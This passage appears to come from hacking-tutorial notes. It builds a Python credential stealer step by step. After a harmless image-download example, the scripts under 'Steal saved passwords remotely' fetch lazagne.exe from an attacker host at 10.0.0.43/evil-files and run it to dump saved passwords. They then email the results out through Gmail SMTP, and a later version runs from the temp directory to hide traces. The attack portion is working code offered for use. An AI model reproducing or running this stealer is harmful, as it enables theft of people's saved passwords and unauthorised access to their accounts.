...etc

#!/usr/bin/env python

import requests

def download(url):

    get_response = requests.get(url)

    file_name = url.split("/")[-1]

    with open(file_name, "wb") as out_file:

        out_file.write(get_response.content)

download("https://cdn.spacetelescope.org/archives/images/screen/potw1739a.jpg")

 lazagne.exe all

Steal saved passwords remotely

#!/usr/bin/env python

import requests

import smtplib

import subprocess

def download(url):

    get_response = requests.get(url)

    file_name = url.split("/")[-1]

    with open(file_name, "wb") as out_file:

        out_file.write(get_response.content)

def send_mail(email, password, message):

    server = smtplib.SMTP("smtp.gmail.com", 587)

    server.starttls()

    server.login(email, password)

    server.sendmail(email, email, message)

    server.quit()

download("http://10.0.0.43/evil-files/lazagne.exe")

result = subprocess.check_output("lazagne.exe all", shell=True)

print(result.decode())

send_mail("aaaa@gmail.com", "", result)

Optimize the Python Script - Interacting with the file system. The evil file will be downloaded in the temp directory and removed after executed.

#!/usr/bin/env python

import os

import smtplib

import subprocess

import requests

import tempfile

def download(url):

    get_response = requests.get(url)

    file_name = url.split("/")[-1]

    with open(file_name, "wb") as out_file:

        out_file.write(get_response.content)

def send_mail(email, password, message):

    server = smtplib.SMTP("smtp.gmail.com", 587)

    server.starttls()

    server.login(email, password)

    server.sendmail(email, email, message)

    server.quit()

temp_directory = tempfile.gettempdir()

os.chdir(temp_directory)

download("http://10.0.0.43/evil-files/lazagne.exe")

result = subprocess.check_output("lazagne.exe all", shell=True)

print(result.decode())
